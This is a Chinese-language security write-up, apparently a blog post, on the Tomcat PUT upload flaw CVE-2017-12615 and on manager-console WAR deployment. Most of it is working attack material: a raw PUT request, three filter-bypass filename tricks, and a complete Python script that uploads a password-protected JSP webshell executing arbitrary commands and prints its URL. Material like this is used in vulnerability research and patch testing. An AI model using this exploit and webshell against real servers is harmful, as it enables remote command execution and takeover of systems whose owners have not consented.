Tomcat任意文件上传漏洞(CVE-2017-12615)
漏洞介绍
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
影响范围:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
利用
此漏洞需要tomcat的配置文件readonly属性readonly=false,开启HTTP PUT
此文件路径Tomcat 7.0/conf/web.xml
POC:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
上传需要绕过对.jsp的过滤,绕过方法:
- Windows下不允许文件以空格结尾
以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格
- WindowsNTFS流
PUT /x.jsp::$DATA HTTP/1.1
- /在文件名中是非法的,也会被去除(Linux/Windows)
PUT /x.jsp/ HTTP/1.1
写入成功
POC脚本
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
后台上传漏洞
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。
漏洞利用
访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
-
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限 -
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
在conf/tomcat-users.xml
文件中配置用户的权限:
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
getshell
参考文章:https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
https://www.cnblogs.com/leixiao-/p/10264236.html